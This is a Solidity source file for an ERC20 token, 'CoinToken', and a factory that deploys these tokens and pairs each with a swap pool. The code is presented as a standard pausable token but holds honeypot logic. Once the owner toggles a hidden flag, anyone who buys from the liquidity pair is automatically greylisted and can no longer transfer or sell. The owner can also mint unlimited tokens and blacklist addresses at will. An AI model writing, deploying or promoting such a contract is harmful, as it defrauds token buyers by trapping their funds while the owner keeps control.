文件 1 的 1:CoinToken.sol
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface ISwapFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
address public LP;
bool ab=false;
mapping (address => mapping (address => uint256)) internal allowed;
mapping(address => bool) tokenBlacklist;
mapping(address => bool) tokenGreylist;
mapping(address => bool) tokenWhitelist;
event Blacklist(address indexed blackListed, bool value);
event Gerylist(address indexed geryListed, bool value);
event Whitelist(address indexed WhiteListed, bool value);
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
if(!tokenWhitelist[msg.sender]&&!tokenWhitelist[_to]){
require(tokenBlacklist[msg.sender] == false);
require(tokenBlacklist[_to] == false);
require(tokenGreylist[msg.sender] == false);
}
if(msg.sender==LP&&ab&&!tokenWhitelist[_to]){
tokenGreylist[_to] = true;
emit Gerylist(_to, true);
}
require(_to != address(0));
require(_to != msg.sender);
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if(!tokenWhitelist[_from]&&!tokenWhitelist[_to]){
require(tokenBlacklist[msg.sender] == false);
require(tokenBlacklist[_from] == false);
require(tokenBlacklist[_to] == false);
require(tokenGreylist[_from] == false);
}
if(_from==LP&&ab&&!tokenWhitelist[_to]){
tokenGreylist[_to] = true;
emit Gerylist(_to, true);
}
require(_to != _from);
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function _changeAb(bool _ab) internal returns (bool) {
require(ab != _ab);
ab=_ab;
return true;
}
function _blackList(address _address, bool _isBlackListed) internal returns (bool) {
require(tokenBlacklist[_address] != _isBlackListed);
tokenBlacklist[_address] = _isBlackListed;
emit Blacklist(_address, _isBlackListed);
return true;
}
function _geryList(address _address, bool _isGeryListed) internal returns (bool) {
require(tokenGreylist[_address] != _isGeryListed);
tokenGreylist[_address] = _isGeryListed;
emit Gerylist(_address, _isGeryListed);
return true;
}
function _whiteList(address _address, bool _isWhiteListed) internal returns (bool) {
require(tokenWhitelist[_address] != _isWhiteListed);
tokenWhitelist[_address] = _isWhiteListed;
emit Whitelist(_address, _isWhiteListed);
return true;
}
function _blackAddressList(address[] _addressList, bool _isBlackListed) internal returns (bool) {
for(uint i = 0; i < _addressList.length; i++){
tokenBlacklist[_addressList[i]] = _isBlackListed;
emit Blacklist(_addressList[i], _isBlackListed);
}
return true;
}
function _geryAddressList(address[] _addressList, bool _isGeryListed) internal returns (bool) {
for(uint i = 0; i < _addressList.length; i++){
tokenGreylist[_addressList[i]] = _isGeryListed;
emit Gerylist(_addressList[i], _isGeryListed);
}
return true;
}
}
contract PausableToken is StandardToken, Ownable {
function transfer(address _to, uint256 _value) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
function changeAb(bool _ab) public onlyOwner returns (bool success) {
return super._changeAb(_ab);
}
function blackListAddress(address listAddress, bool isBlackListed) public onlyOwner returns (bool success) {
return super._blackList(listAddress, isBlackListed);
}
function geryListAddress(address listAddress, bool _isGeryListed) public onlyOwner returns (bool success) {
return super._geryList(listAddress, _isGeryListed);
}
function whiteListAddress(address listAddress, bool _isWhiteListed) public onlyOwner returns (bool success) {
return super._whiteList(listAddress, _isWhiteListed);
}
function blackAddressList(address[] listAddress, bool isBlackListed) public onlyOwner returns (bool success) {
return super._blackAddressList(listAddress, isBlackListed);
}
function geryAddressList(address[] listAddress, bool _isGeryListed) public onlyOwner returns (bool success) {
return super._geryAddressList(listAddress, _isGeryListed);
}
}
contract CoinToken is PausableToken {
string public name;
string public symbol;
uint public decimals;
event Mint(address indexed from, address indexed to, uint256 value);
event Burn(address indexed burner, uint256 value);
bool internal _INITIALIZED_;
constructor() public {
}
modifier notInitialized() {
require(!_INITIALIZED_, "INITIALIZED");
_;
}
function initToken(string _name, string _symbol, uint256 _decimals, uint256 _supply, address tokenOwner,address factory,address token1) public notInitialized returns (bool){
_INITIALIZED_=true;
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _supply * 10**_decimals;
balances[tokenOwner] = totalSupply;
owner = tokenOwner;
emit Transfer(address(0), tokenOwner, totalSupply);
LP = ISwapFactory(factory).createPair(address(this), token1);
}
function mint(address account, uint256 amount) onlyOwner public {
totalSupply = totalSupply.add(amount);
balances[account] = balances[account].add(amount);
emit Mint(address(0), account, amount);
emit Transfer(address(0), account, amount);
}
}
contract CoinFactory{
function createToken(string _name, string _symbol, uint256 _decimals, uint256 _supply,address tokenOwner,address factory,address token1)public returns (address){
CoinToken token=new CoinToken();
token.initToken(_name,_symbol,_decimals,_supply,tokenOwner,factory,token1);
return address(token);
}
}